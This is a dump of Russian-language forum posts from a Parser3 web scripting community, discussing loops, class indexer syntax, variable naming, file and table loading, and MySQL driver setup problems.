0.859999999999999[b]43[/b]157\
\
и второе:\
при определённых обстоятельствах процессор вычисляет и хранит одно и то же число в виде\
0.860000000000000 и\
0.85(9)\
именно отсюда проистекает необходимость всегда округлять.\
именно поэтому форматные строчки (^double.format[%.2f]) делают всегда округление (они делают round)."
"47903","потом сделайте \
[code]^table::create{$file.text}[/code]"
"47904","$price[^table::load[nameless;price.txt;$.limit(10240)]]"
"47907","Так и есть.\
Об этом даже в документации написано.\
\
Теперь буду знать. Спасибо."
"47908","edit.vbs\
\
[code]\
Dim objArgs, objSh, s, cmd\
\
Set objArgs = WScript.Arguments\
Set objSh = CreateObject(\"WScript.Shell\")\
s = Mid( objArgs(0), 8 )\
cmd = \"uestudio.exe \" & s\
\
errReturn = objSh.Run (cmd, 1, false)\
[/code]"
"47909","никак ли нельзя передать x:y?\
\
б[b]О[/b]льшая часть удовольствия уходит.\
\
и ещё: из .cbs можно ведь многое. в частности, уверен, можно DDE поговорить с программой. может она так понимает координаты?"
"47910","А можно ли как-нибдь реализовать свой индексатор? Только не через методы, а через св-ва\
\
Коли св-ва появились, может и индексаторы тоже."
"47912","возможно, со временем сделаю и индексаторы\
и преобразование типов\
и ещё что-нибудь\
\
если есть на уме примерно, как это всё должно выглядеть с точки зрения пользователя, предложите, возможно, если не сделаем сразу, так сразу зафиксируем, чтобы было ясно, к чему готовиться.\
\
чётко, понятно, подробно."
"47914","[code]\
Dim objArgs, objSh, s, cmd, parts, coords, file, line, col\
\
Set objArgs = WScript.Arguments\
Set objSh = CreateObject(\"WScript.Shell\")\
s = Mid( objArgs(0), 8 )\
\
parts = Split(s, \"?\", 2)\
file = parts(0)\
lineCol = parts(1)\
\
coords = Split(lineCol, \":\")\
line = coords(0)\
col = coords(1)\
\
cmd = \"uestudio.exe \" & file & \"/\" & line & \"/\" & col\
\
errReturn = objSh.Run (cmd, 1, false)\
[/code]\
\
+ конечно, убрать галку с \"allow multiple instances\" в configuration > general"
"47915","^for[i](0;10){\
...\
	^if(цикл_надо_остановить){\
		$i(11)\
	}\
...\
}"
"47916","ремы можно подкрутить, сделать несколько уровней вложенности фигурных скобок, у меня сеичас в новой версии подсветки с круглыми скобками так сделано. Не прикручивал потому что сейчас там ^rem{} это простой word, а если делать вложенность нужно выделять для него отдельный state, плюс по одному state для каждого уровня вложенности, ибо рекурсия там не поддерживается = довольно трудоемко для такой мелочи. Надо будет подумать. Сам я его почти не использую.\
\
Скрипт для комментирования кода в HomeSite можно взять [url=\"http://www.sam-i-am.com/work/homesite/hs_commentCode.html\"]например здесь[/url] и немного его доработать, чтобы он понимал .p файлы. Там правда не все моменты парсерные учтены, но в общем все вполне работоспособно."
"47919","Используй ^while(условие){тело}. Когда используеш фор то щетчику ($i) поочередно присваеваеться значения от и до не в зависимости от того, что ты там хочеш присвоить этой переменной. Почему не сделать так:\
$i[0]\
^while($i<10){\
...\
^if(цикл_надо_остановить){$i[11]}{$i($i+1)}\
...}\
Чото вроде того..."
"47921","Спасибо!\
пробую сделать это:\
$tmp_file[^file::load[binary;d:\\tmp\\test.txt; $.limit(1024)]]\
у меня говорит\
\"load\
invalid option passed\"\
Парсер: Parser/3.1.4 (compiled on i386-pc-win32)\
планировал:\
загрузить файл на кил,\
создать на его основе таблицу,\
на основе ^table::create[таблица;опции] сделать таблицу с интересующими строками. Буду признателен за комментарии"
"47922","в добивочку: Ваш совет воспользоваться\
^table::create{$file.text}\
не позволяет сделать \"nameless\" таблицу?"
"47923","у Макконелла проскакивала идея что писать комментарии плохо, потому что это вроде как отнимает много времени, которое можно потратить на саму разработку. Но при использовании псевдокода он сам же и рекомендует не удалять его а оставлять как комментарии, потому как опять-же проще и полезнее оставить чем удалить. \
А Миша, насколько я понял, постирал из кода уже написанные комментарии, какие цели при этом приследовались не совсем понятно. Может просто орфографические ошибки лень было исправлять... :)"
"47924","[b]Индексатор[/b]\
Я вижу проблему в том, что значение сет храниться в 1 параметре метода. Если бы переменная всегда была $value, то можно было сделать так:\
\
[code]\
# sample_1\
@GET_[b]SELF[/b][key;key]\
код для чтения\
\
\
\
@SET_[b]SELF[/b][key;key]\
код для записи\
[/code]\
\
Если вы решите не отступать от выбранной стратегии, то можно сделать, чтобы первый параметр метода SET_ был значением, а все остальные ключами.\
[code]\
# sample_2\
@GET_[b]SELF[/b][key;key]\
код для чтения\
\
\
@SET_[b]SELF[/b][[b]value[/b];key;key]\
код для записи\
[/code]\
\
Или же можно скрестить все воедино и сказать, что у индексатора значение всегда храниться в переменной $value а все параметры - ключи. И код будет выглядить как в sample_1"
"47925","загрузил 3.2.0 - часть вопросов отпала, спасибо еще раз!"
"47926","# качнуть кусок файла\
$tmp_file[^file::load[binary;$form:file_name; $.offset(0) $.limit(1024)]]\
# кинуть его во временную \"nameless\" таблицу\
$tmp_table[^table::create[nameless]{^untaint{$tmp_file.text}}]\
# в нужную таблицу выгрузить нужные строки\
$tbl_test[^table::create[$tmp_table; $.offset(^form:begin_string.int(0)) $.limit(1)]] \
\
еще раз спасибо за советы"
"47928","[quote]...у меня сеичас в новой версии подсветки с круглыми скобками...[/quote]\
\
Новой версии подсветки к HomeSite?.. А где ее можно взять, если не секрет? Насколько я понимаю в разделе [url=\"http://www.parser.ru/download/\"]скачать[/url] еще старая версия лежит.\
\
[quote]...Там правда не все моменты парсерные учтены...[/quote]\
\
Спасибо, скачал. Действительно не все учтено. Попробую доделать для парсера, может быть выложу потом ;)"
"47930","конечно, только\
[code]\
@SET_SELF[key;key;key;value]\
[/code]\
это будет параллельно другим методам и вполне наглядно.\
особенно понравилось, что новых префиксов имён методов резервировать так не надо.\
\
вдруг и остальное так же красиво придумаете?\
\
самое главное: как будет выглядеть синтаксис обращения со стороны клиентов этого класса?"
"47931","в первую очередь для самого пишущего.\
причём сначала писать комментарий про сложную штуку, потом реализовывать.\
\
keyword: doxygen"
"47933","и, возможно, понадобится сделать untaint от file.text, думаю, что .text tainted."
"47934","замечания:\
\
1. недопустимо грузить файл с диска, если имя передал пользователь, слепо доверяя пользователю.\
пользователь может быть и доверенный, но всё равно, пока доверенный пошёл кофе попить и незаблокировал рабочую машину, злоумышленник может наделать дел.\
а если пользователь недоверенный, или их много и отличить одного от другого почему-то нельзя, то тем более нельзя.\
моё мнение: так нельзя делать никогда.\
\
2.\
мелкое замечание по стилю:\
\
моё мнение: имя \"xxx_temp_xxx\" недопустимо для переменной. это \
* и возмутительная потеря времени на его набор;\
* и читателю это имя ровно ничего не говорит.\
\
для вашего примера предлагаю:[code]\
$file_preview\
$table_preview\
$result[/code]"
"47936","Почему не while? Странный вопрос. В зависимости от ситуации выбираю либо тот либо другой. Сейчас вот FOR требуется."
"47937","Наткнулся на [url=\"http://www.pcweek.ru/?ID=66019\"]такую статью[/url]."
"47938","Я на форуме искал, но найти не смог, простите.\
Есть стандартный класс math. Там нет пары функций, которые мне нужно использовать. Я их сделал, но не хочется ради них создавать отдельный класс, именовать его как-то по-новому.\
Можно ли сделать так, чтобы эти две функции вызывались, как: ^math:func[] и пр.?\
Я пытался разобраться с @BASE, но не понял, как это работает.\
Т.е. смысл вот в чем. Я создал файл math.p, записал в него обе функции, в начале файла поставил \
@CLASS\
math\
А как мне теперь сделать так, чтобы работали и мои оба метода, и те, которые стандартные?"
"47939","http://www.parser.ru/forum/?id=47919"
"47940","Здесь можно while-ом обойтись?\
\
$list[^d.select[/document/t]] \
^for[i](0;$list-1){ \
    $node[$list.$i] \
    Имя: $node.nodeName<br> \
    Тип: $node.nodeType<br> \
    ... что-то делаем с Snode ...\
}"
"47941","одним нравится меньше кнопок на клавиатуре нажимать и получать короткий ясночитаемый код.\
\
другим нравится ясно видеть, вызывается ли где функция или происходит обращение к полю.\
\
тут неочем спорить — каждый для себя решает сам: пользоваться или нет."
"47942","назовите свой класс supermath.\
это специально так.\
чтобы люди, читающие код, сразу ясно видели, что происходит.\
\
в пользовательские классы можно на ходу добавлять методы, см. ^process.\
сожалею, что даже это разрешил, нужно было сделать \"можно process'ом создавать новые классы\", но никак не \"добавлять к имеющимся\".\
\
в системные — нельзя."
"47943","получил много удовольствия, читая [url=\"http://www.pcweek.ru/?ID=66022\"]параллельные[/url] статьи.\
\
[quote]\
В описании метода после его имени есть круглые скобки; в описании свойства — фигурные; у индексатора — квадратные; \
[/quote]"
"47945","Так код получается менее красивым и менее понятным. Лишние строки там типа инициализации $i(0)."
"47946","В документации про свойства написано:\
\
пишем происходит \
[code]\
$имя    ^GET_имя[]\
$имя[значение]  ^SET_имя[значение] \
[/code]\
\
А что будет происходит, если напишем:\
[code]^имя.selectString[...][/code]\
\
То есть свойство может быть объектом, у которого потом надо вызывать методы?"
"47947","я пробую, а menu всё равно возвращается к началу.\
\
почему foreach нельзя переставить к концу: я подставляю туда последний ключ, а оно упирается.\
\
общий ответ: \
1. потому, что так было эффективнее реализовать.\
2. потому, что считаю, что присваивать что-то переменным цикла [i]неправильно[/i]."
"47948","http://www.parser.ru/docs/lang/opuserdefined.htm\
а также \
http://www.parser.ru/docs/lang/definemethod.htm, кнопка [End]"
"47950","новая версия подсветки пока еще находится в стадии тестирования (ферментации?), добавлено много нового, в том числе и несколько нехороших глюков которые там совершенно не к месту. \
Вообще ждал выхода новой версии парсера, в ближайшее время добавлю еще несколько мелочей (true, false, result, ...), доведу до кондиции и выложу релиз :)"
"47951","Кому не лень - киньте в меня табличкой. Мож у кого уже есть готовая. Можно на мыло. Спс.\
\
PS. Идеально, если бы в ней были все символы =)"
"47952","Никогда так не делайте. (слава Пафу, что в Парсере так делать нельзя!)\
Если цикл большой можно такой огород нагородить - потом сами не разберётесь, где что и насколько изменяет счётчик.\
\
Лучше обдумайте при каких условиях, что и сколько должно крутиться ДО того, как начнёте крутить."
"47953","http://www.parser.ru/forum/?id=36590"
"47954","1. если есть файл/класс, в нем есть комментарии - я их не трогаю\
2. если мне нужно править класс/файл, и эта правка подразумевает больше, чем изменение пары символов, то правятся и комментарии:\
- тексты комментариев переписываются по английски (после перехода с 1251 на utf8 я уже не раз пожалел что не делал этого ранее)\
- ненужные комментарии просто грохаются. при этом в большинстве случаев если комментарий \"типа нужный,\" то я выделяю его в метод, из-за чего пропадает необходимость этого комментария. т.е. в коде методов комментарии упраздняются. остаются только некоторые перед методами."
"47955","Как выполнили разработчики студии лебедева такую интерсеную задачу в своем движке для сайта...\
Чтобы описать страницу допустим about.html\
что пишеться в самом парсерном коде страници\
тоесть код береться из бд или просто весь текст описан в самой страници ,\
подскажите пожалуйста...."
"47956","была разобрана мишей на его домашней страничке уже больше года назад. yandex.ru"
"47957","это я видел ,\
дайте плиз пример кода чтобы я взял его за основу"
"47958","...что так много будет разговору. Всем спасибо. Было лишь желание просто останавливать цикл, а не менять на шо попало счетчики. Раз так нельзя, будем по -другому."
"47960","А в каких html редаторах работает студия если не секрет"
"47961","и вы тоже дайте мне всё, что у вас есть.\
\
и ещё, пожалуйста, большой мешок для денег. \
я туда буду складывать доходы от продажи того, что вы мне дадите."
"47962","как и за стенами Студии :)\
\
и во всех редакторах работает запятая."
"47964","Потом ловить этот throw, при этом раскручивается стек. Не Миша, тебе, как фанату эффективности, грешно давать такие советы."
"47965","Индексаторы — это элементы классов (а также интерфейсов и структур), позволяющие обращаться к объектам как к массивам (указанием индекса в квадратных скобках)."
"47966","я к тому, что в парсере это единственный способ _прервать_ цикл. ну нету тут ^break[], ^return[] или как его там."
"47967","привет. )\
\
не обладает ли никто бинарниками parser + mysql для FreeBSD 5.x\
\
конкретная версия: 5.3-RELEASE, но, думаю, что можно попробовать и другие версии.\
\
\
спасибо. \
\
senpi@yandex.ru"
"47969","Еще раз спасибо.\
Это интранет, пользователь закачивает прайс в базу, тот кусок, который Вы подсказали нужен мне для показа  пользователю примера результата работы шаблона загрузки. Прайсы разные, их много, разные имена и пр. Пользователь настраивает шаблон загрузки, проверяет, дальше файл перл-скриптом загружается в базу.\
\"1. недопустимо грузить файл с диска, если...\"\
А какую схему Вы бы предложили?\
\
По стилю - Вы наверняка правы, вот только мне ни файл, ни первая таблица не нужны, я их и назвал\
$tmp_file, $tmp_table - для себя говоря что это промежуточные, нигде более не используемые объекты.\
$tbl_test - таблица, с тестовым набором данных, вот ее я и далее пользую.\
$result - а разве можно так обзывать таблицу?  ведь это системная переменная."
"47970","[quote]\
@SET_SELF[key;key;key;value]\
[/quote]\
Не знал как у вас реализовано, поэтому предложил значение первым элементом.\
\
[b]Синтаксис обращения:[/b]\
[code]\
@CLASS\
db\
\
\
\
@create[]\
$_id(0)\
$_data[^hash::create[]]\
\
\
\
@add[data]\
^_id.inc[]\
$_data.[$_id][$data]\
\
\
\
@GET_Count[]\
$result(^_data._count[])\
\
\
@GET_SELF[id]\
$result[$_data.[$id]]\
\
\
\
@SET_SELF[id;value]\
$_data.[$id][$value]\
\
\
\
@main[]\
$dbase[^db::create[]]\
^dbase.add[news]\
^dbase.add[about]\
\
^for[i](1;$dbase.Count){\
<p>$i $dbase.[$i]</p>\
}\
[/code]\
\
Ключи могут передаваться в [], () и {} скобках.\
\
И вроде бы дух Парсера будет сохранен."
"47971","Наследуйте его от системного и всегда используйте его."
"47972","не могли бы вы мне прислать собранный драйвер ?\
\
senpi@yandex.ru\
\
спасибо большое ))"
"47974","[code]\
   $isDebug(true)\
\
# Нормально работает\
  ^if($isDebug){$_isDebug(true)}{$_isDebug(false)}\
\
# Получаем exception: number.format - true. invalid number (double)\
  $_isDebug(^if($isDebug){true}{false})\
\
[/code]"
"47975","[url=\"http://www.parser.ru/forum/?terms=antistatic&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8\"]Вот тут[/url] и [url=\"http://www.egoroff.spb.ru/\"]тут[/url]"
"47977","конструкция\
[code]\
$объект.[код]\
[/code]\
уже выполняет всем понятное:\
достаёт из объекта поле/свойство, имя которого выдаёт код.\
всем знакомо это:\
[code]\
$hash.[$table.column]\
[/code]\
\
нужна простая удобная неконфликтующая конструкция.\
и не забыть про множественность ключей."
"47979","я бы предложил зафиксировать имена файлов под разные нужды. чтобы пользователь указывал номер интересующего его варианта, radiobutton, скажем, а система понимала, что 5й=\\\\server\\sharedfolder\\abc.txt"
"47983","моё мнение: имеет смысл говорить, что что-то [b]нужно[/b].\
поскольку, по моим наблюдениям, временных промежуточных переменных по коду [b]куда больше[/b], чем полей объектов.\
\
а раз так, имеет смысл ввести соглашение об именах полей, а локальные переменные именовать попроще.\
\
вариант:\
[code]\
@loadTableTop[fileName;rowCount][filePreview;tablePreview]\
#m=member\
$mName\
$mCount\
\
#локальные\
$filePreview\
$tablePreview\
\
#возвращаем понятно что\
$result[… $tablePreview … $.limit($rowCount) …]\
[/code]"
"47985","тщательно обдумывайте имена ваших каталогов, файлов, проектов, методов, переменных, полей, классов, детей и животных.\
\
достаточно 1 раз расслабиться, и назвать что-то в спешке, и это что-то не будет радовать глаз и думать о нём будет очень трудно… просто потому, что выбрано неудачное, неговорящее, невнятное имя.\
\
недавно мои коллеги потеряли 2 недели на переписку внутри Студии, потом с клиентом, потом с представителем другой стране и подрядчиком, и всё впустую. ошибка оказалась в… неправильно названной переменной.\
\
хорошее имя = два шага к пониманию кода: вами, его автором, и другими, его читателями.\
\
вот самый злобный гадкий и омерзительный на свете способ назвать две переменные, использующиеся рядом:\
[code]\
$price\
$priceTotal\
[/code]\
\
не делайте так никогда!"
"47986","правда собиралось давно, последние изменения могли не войти.\
\
Скомпилируйте на провайдерской машине, там делов на пять минут оказалось даже для такого чайника в юниксовых делах, как я."
"47987","стало быть этот кусочек кода не выделен в отдельный метод.\
\
вот тут каждый для себя решает сам.\
\
что тут важно: известно, что многие считают так:\
если некий кусок кода нужен всего один раз, его нужно просто так и написать, там, где он понадобился.\
\
между тем, часто будет нагляднее вынести его в метод. и вызвать этот метод единственный раз.\
\
кусок кода получит имя, внятные параметры, локальные переменные = \
будет ясно, что он делает(имя), что обрабатывает(параметры), что после него не нужно(локальные).\
\
а из основного кода уйдут загромождающие его детали.\
\
конечно, как и везде, где-то проходит граница разумного.\
и её каждый для себя определяет сам."
"47988","Да, спс, я уже нашел... Забыл отменить вопрос."
"47989","/usr/www/test.sirena-travel.ru/html/_auth/sql.p(74:2): '/usr/www/test.sirena-travel.ru/cgi-bin/lib/libparser3mysql.so' driver failed to initialize client library '/usr/www/test.sirena-travel.ru/cgi-bin/lib/libmysqlclient.so', can't open the module [<no type>]\
\
ну, libmysqlclient.so просто скопировал к себе, раньше лежал в стандартной - ошибки, понятно, те же.\
\
Parser 3.1.5 + mySql driver 3.1.4\
FreeBSD 5.3-RELEASE"
"47990","не работает, на самом деле, связка с mysql только.\
а какие у вас стандартные ?"
"47991","возможно ли реализовать без точки?\
[code]\
$dbase[key;key]\
[/code]"
"47992","доставание по двум ключам -- тож.\
\
а доставание по одному ключу как отличить от присвоения?"
"47994","Вот уже 150-й раз пытаюсь подключить класс авторизации, то одна ошибка - обхожу, потом вторая - обхожу, потом третья - а не следствие ли первых двух? Поэтому хочу спросить о первой же ошибке. При создании базы данных пишет еррор на строке \
/* object_id - связка с объектом */; \
т.е. на первом же комментарии, кодировки использовал и кои8 и другие - не помогает. \
Заранее спасибо."
"47995","Тогда:[code]$dbase\
$dbase[value]\
\
$dbase[][key] \
$dbase[value][key][/code]\
\
Но, конечно, [value][key] как-то задом наперед..."
"47996","Наверное остается только такой способ:\
\
[code]\
$dbase.self[key;key]\
[/code]\
\
Впринципе слово self можно заменить на любое другое, например indexer."
"47998","пока красивый синтаксис не придёт на ум, делать нечего.\
(я сам пока серьёзно не вдумывался)"
"47999","[code]$dbase.self.key.key\
$dbase.self.key.key[value][/code]\
\
Громоздко, но все в привычном парсеру виде."
"48000","однако сделать такое можно только runtime:\
\
и, чтобы работало, нужно будет что-то эдакое вернуть тут:\
[code]\
$object.self.key1 \
#чтобы заработало это:\
$object.self.key1.key2\
[/code]\
\
т.е. нужно будет вернуть некий хитрый объект, который примет потом $.key2[value] и передаст его в $object в нужное место.\
\
раз runtime, то будет тормозить и расходовать память под промежуточные хитрые объекты.\
\
а хочется какого-то решения, которое можно реализовать на уровне компиляции исходника в байт-код.\
решения, которое бы не расходовало бы понапрасну память и cpu. и было бы наглядным.\
\
у кого губозакатин остался?"
"48002","если слово self зафиксировать (а именно это и предлагалось),\
то можно и на этапе компиляциии сделать!\
(конечно, имя резервируется и нельзя будет делать переменные с таким именем)\
\
так лучше.\
\
однако всё равно какое-то лишнее слово, и ощущения радости жизни нету :)"
"48003","По-моему придложенный Вами вариант некрасив и будет вызывать много путаниц. Но это лишь ИМХО"
"48004","Предыдущий пост мой.\
\
Так вот, нигде - ни в авто.п ни в классе авторизации не описана строка $connect-string. И есть ли разница как я назову БД (вся структура самих таблиц работает)?"
"48005","1. подразумевается что вы прочитали документацию и определили $connect-string, например в конфигурационном auto.p\
\
2. как названа БД классу авторизации без разницы, т.к. он подключается к ней через объект одного из sql-ных классов. а этому объекту вы при инициализации сообщили строку соединения, в которой фигурирует название БД."
"48008","@loadTableTop[fileName;rowCount][filePreview;tablePreview]\
#m=member\
$mName\
$mCount\
\
#локальные\
$filePreview\
$tablePreview\
\
#возвращаем понятно что\
$result[… $tablePreview … $.limit($rowCount) …]\
\
хмм, очень все логично и стройно, а вот \"member\" - это что?\
на входе rowCount, на выходе он же - а mCount? эт я так чего-то так сильно не знаю по структуре метода?"
"48011","тогда пока для обозначения чего-то глобального, того, что выживает от метода к методу, можно использовать префикс\
[code]\
#g=global\
$gDataPath[/../data]\
[/code]\
\
чтобы чётко отличить эти особенные переменные."
"48012","т.е. это глобальные переменные и в примере\
@loadTableTop[fileName;rowCount и \
$mName\
$mCount\
отношения не имеют?"
"48013","Это:\
[code]^string:sql{SELECT ''}[/code]\
и это:\
[code]^string:sql{SELECT null}[/code]\
Возвращают пустую строку.\
Как отличить действительно пустую строку от Null'а?\
Кроме IS NULL в самом запросе"
"48014","подошла жена и сказала: \"О! ты с Петросяном переписываешься?\"\
хе-хе"
"48015","Здравствуйте. Поставил я parser 3.20 из download и mysql драйверы для него на сервер с FreeBSD 5.3-RELEASE, но опять появилась проблема описанная тут:\
[url=\"http://www.parser.ru/forum/?id=47989\"]http://www.parser.ru/forum/?id=47989[/url]\
Воспользовавшись поиском было найдено решение:\
[url=\"http://www.parser.ru/forum/?id=32984\"]http://www.parser.ru/forum/?id=32984[/url]\
\
Но в силу обстоятельств я не могу собрать сам Парсер и поэтому прошу уважаемых посетителей форума поделиться версией 3.20 с mysql и xml для FreeBSD 5.3-RELEASE, думаю с этой проблемой столкнулся не только я и она нужна не только мне, заранее большое спасибо.\
\
p.s. Парсер присылайте на указанное мыло. Ещё раз спасибо."
"48016","С помощью sql-запроса, в котором проверять столбец NULL он или не NULL."
"48019","Ну да, is null или еще там как в sql-е."
"48020","скачал [b]cgi[/b] скрипт 3.2.0 с вашего сайта ставлю на [b]red hat 7.3[/b]\
даже на обычный ХТМЛ получаю ответ\
\
/mytest.html: './auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename './auto.p', fuid(0)!=euid(48) or fgid(1)!=egid(48) [parser.runtime]\
\
насколько я понимаю ругается на конфигурационный [i]auto.p[/i], вот чего там не так? Подскажите.\
Может надо самому скомпилить парсер?"
"48021","есть форма которая заполняется посетителем нашего сайта и при нажатии кнопки отправить данные этой формы передаются скрипту расположенному на другом сервере (на чужом). Можно ли сделать что бы эти данные еще записывались (ну скажем в файл) на нашем сервере."
"48023","Первое что пришло на ум:\
[code]\
$fields[$form:fields]\
$table[^table::create{Имя Значение\
^fields.foreach[key;value]{$key	$value^#0A}\
}]\
^table.save[/formfields.cfg]\
[/code]\
Возможно не самый правильный и не самый оптимальный способ(меня поправят)..."
"48024","а как это сделать если в форме указан скрипт на чужом сервере\
[code]\
<form method=\"post\" action=\"http://чужой.сайт/script.cgi\">\
[/code]"
"48026","так не пойму как сделать...\
заполняем поля формы и нажимаю кнопку отправить...\
данные передаются чужому скрипту, а как мне то их перехватить"
"48027","Вот выполнил специально урок по БД заново, все замечательно работает. Но как только я подключаю класс авторизации...\
\
В mysql.p, sql.p переменная называется $connect-string, а в уроке $connect_string. Наверное это разные вещи?\
\
Поискал по форуму, кто-то сказал что с $connect-string ничего не работает и везде надо переименовать в $connect_string. Даже это не работает.\
\
При попытке отправки формы ввести пароль администратора (_auth_setpwd.html) возникает ошибка 500. \
\
И где пишутся логи на лок.сервере?\
\
Заранее извиняюсь за то что тупой..."
"48028","Если вы пользуетесь Денвером с предустановленым Парсером, то я рекомендую вам в качестве тренировочно-позновательного упражнения взять и снести все это к чертовой матери. Поставить заново Денвер, но без Парсера, а затем [b]самостоятельно ручками осознано[/b] выполнить установку Парсера.\
\
После этого:\
1. Узнайте что такое конфигурационный файл и для чего он нужен. Об этом можно прочитать в документации.\
2. Найдите ваш конфигурационный файл и разберитесь что он конфигурирует.\
3. Разберите Мишин пример о переносимости SQL-запросов.\
\
Когда вы все это проделаете, задайте сами себе свои же вопросы и улыбнитесь:\
[quote]\
нигде - ни в авто.п ни в классе авторизации не описана строка $connect-string. И есть ли разница как я назову БД?[/quote]\
[quote]\
В mysql.p, sql.p переменная называется $connect-string, а в уроке $connect_string. Наверное это разные вещи?\
[/quote]\
[quote]\
И где пишутся логи на лок.сервере?\
[/quote]\
\
Главное -- не сдаваться!"
"48030","Который их сначала запишет куда вам надо, а потом еще и отправит с помощью ^file::load[] (см. доку + там же опции загрузки)."
"48031","А можно как-то сделать на страницу редирект, передав поля POST?"
"48032","http://www.macromedia.com/"
"48034","...а сайт у Macromedia продолжал существовать, а теперь Abobe навела порядок и уже на сайте Macromedia написано заветное слово Abobe :)"
"48035","Попутно нашёл, как обойти ошибку с mswinsck.ocx - теперь он не нужен будет"
"48036","нам никогда не нужно было, не делал.\
\
сейчас ведь всё складывается в объект table, а тот хранит только строки, не объекты."
"48037","в файл должна записываться, как бы статистика постов (со значением некоторых полей формы) .... Если я передам значения этих полей своему скрипту и запишу эти данные в файл (в котором уже может быть какое то кол-во строк), то как потом эти же данные передать скрипту на другом сервере?"
"48039","версии на месте.."
"48040","вы почитали? или ждёте готового кода?"
"48041","не поленитесь, пойдите и почитайте спецификацию HTTP."
"48042","особенно спешить не нужно, сколько-то ошибок мы планируем исправить в обеих версиях и выпустить обновления примерно в январе."
"48045","Админ мне ответил что он не разрешит доступ к /proc/self/stat\
и порекомендовал мне так собрать чтобы не требовался доступ туда так как Апаче в целях безопасности доступ запрещен туда"
"48046","А можно выложить где нибудь собранный под линукс 3.2.0 который не требует /proc/self/stat"
"48047","Неужели нет другого способа?\
А если не получится и вся моя работа повиснет в воздухе..."
"48048","А какие -нибудь зарубежные сайты сделаны на парсере? Т.е. их программистами их сайты на нашем парсере?"
"48049","[url=\"http://www.businesscardcollection.com\"]http://www.businesscardcollection.com[/url]"
"48050","Спасибо, что ответили на мой вопрос, но парсер с  [url=\"egoroff.spb.ru\"]egoroff.spb.ru[/url] тоже отказался работать с mysql и выдаёт тоже самое. Продолжаем надеяться=("
"48051","сижу отлаживаю странное сообщение об ошибке:\
/_bug.html: c:/drives/y/parser3project/parser3/www/htdocs/_bug.html(3:26): 'cloneNode' native method of xnode (xnode) accepts minimum 1 parameter(s) (0 present) [parser.runtime]\
\
код простой до безобразия\
\
[code]\
@main[]\
$xdoc[^xdoc::create[root]]\
$cloned[^xdoc.firstChild.cloneNode(false)]\
OK!\
[/code]\
\
заглянул в байт-код:\
[code]\
[Fri Dec 16 16:41:07 2005] [3804] source----------------------------|\
[Fri Dec 16 16:41:07 2005] [3804] WITH_ROOT\
[Fri Dec 16 16:41:07 2005] [3804] VALUE \"xdoc\" string\
[Fri Dec 16 16:41:07 2005] [3804] OBJECT_POOL\
[Fri Dec 16 16:41:07 2005] [3804]     VALUE \"xdoc\" string\
[Fri Dec 16 16:41:07 2005] [3804]     GET_CLASS\
[Fri Dec 16 16:41:07 2005] [3804]     PREPARE_TO_CONSTRUCT_OBJECT\
[Fri Dec 16 16:41:07 2005] [3804]     VALUE \"create\" string\
[Fri Dec 16 16:41:07 2005] [3804]     GET_ELEMENT\
[Fri Dec 16 16:41:07 2005] [3804]     CALL__WRITE\
[Fri Dec 16 16:41:07 2005] [3804]         VALUE \"root\" string\
[Fri Dec 16 16:41:07 2005] [3804]         STORE_PARAM\
[Fri Dec 16 16:41:07 2005] [3804] CONSTRUCT_VALUE\
[Fri Dec 16 16:41:07 2005] [3804] STRING__WRITE \"|\" string\
[Fri Dec 16 16:41:07 2005] [3804] WITH_ROOT\
[Fri Dec 16 16:41:07 2005] [3804] VALUE \"cloned\" string\
[Fri Dec 16 16:41:07 2005] [3804] OBJECT_POOL\
[Fri Dec 16 16:41:07 2005] [3804]     WITH_READ\
[Fri Dec 16 16:41:07 2005] [3804]     VALUE \"xdoc\" string\
[Fri Dec 16 16:41:07 2005] [3804]     GET_ELEMENT\
[Fri Dec 16 16:41:07 2005] [3804]     VALUE \"firstChild\" string\
[Fri Dec 16 16:41:07 2005] [3804]     GET_ELEMENT\
[Fri Dec 16 16:41:07 2005] [3804]     VALUE \"cloneNode\" string\
[Fri Dec 16 16:41:07 2005] [3804]     GET_ELEMENT\
[Fri Dec 16 16:41:07 2005] [3804]     CALL__WRITE\
[Fri Dec 16 16:41:07 2005] [3804] CONSTRUCT_VALUE\
[Fri Dec 16 16:41:07 2005] [3804] STRING__WRITE \"|OK!\" string\
[Fri Dec 16 16:41:07 2005] [3804] execution-------------------------|\
[Fri Dec 16 16:41:07 2005] [3804] 1:WITH_ROOT\
[Fri Dec 16 16:41:07 2005] [3804] 2:VALUE\
[Fri Dec 16 16:41:07 2005] [3804]  \"xdoc\" string\
[Fri Dec 16 16:41:07 2005] [3804] 3:OBJECT_POOL\
[Fri Dec 16 16:41:07 2005] [3804] source----------------------------|\
[Fri Dec 16 16:41:07 2005] [3804] VALUE \"xdoc\" string\
[Fri Dec 16 16:41:07 2005] [3804] GET_CLASS\
[Fri Dec 16 16:41:08 2005] [3804] PREPARE_TO_CONSTRUCT_OBJECT\
[Fri Dec 16 16:41:08 2005] [3804] VALUE \"create\" string\
[Fri Dec 16 16:41:08 2005] [3804] GET_ELEMENT\
[Fri Dec 16 16:41:08 2005] [3804] CALL__WRITE\
[Fri Dec 16 16:41:08 2005] [3804]     VALUE \"root\" string\
[Fri Dec 16 16:41:08 2005] [3804]     STORE_PARAM\
[Fri Dec 16 16:41:08 2005] [3804] execution-------------------------|\
[Fri Dec 16 16:41:08 2005] [3804] 3:VALUE\
[Fri Dec 16 16:41:08 2005] [3804]  \"xdoc\" string\
[Fri Dec 16 16:41:08 2005] [3804] 4:GET_CLASS\
[Fri Dec 16 16:41:08 2005] [3804] 4:PREPARE_TO_CONSTRUCT_OBJECT\
[Fri Dec 16 16:41:08 2005] [3804] 4:VALUE\
[Fri Dec 16 16:41:08 2005] [3804]  \"create\" string\
[Fri Dec 16 16:41:08 2005] [3804] 5:GET_ELEMENT\
[Fri Dec 16 16:41:08 2005] [3804] 4:CALL__WRITE\
[Fri Dec 16 16:41:08 2005] [3804]  (4)|\
[Fri Dec 16 16:41:08 2005] [3804]     VALUE \"root\" string\
[Fri Dec 16 16:41:08 2005] [3804]     STORE_PARAM\
[Fri Dec 16 16:41:08 2005] [3804] ->|\
[Fri Dec 16 16:41:08 2005] [3804] source----------------------------|\
[Fri Dec 16 16:41:08 2005] [3804] VALUE \"root\" string\
[Fri Dec 16 16:41:08 2005] [3804] STORE_PARAM\
[Fri Dec 16 16:41:08 2005] [3804] execution-------------------------|\
[Fri Dec 16 16:41:08 2005] [3804] 4:VALUE\
[Fri Dec 16 16:41:08 2005] [3804]  \"root\" string\
[Fri Dec 16 16:41:08 2005] [3804] 5:STORE_PARAM\
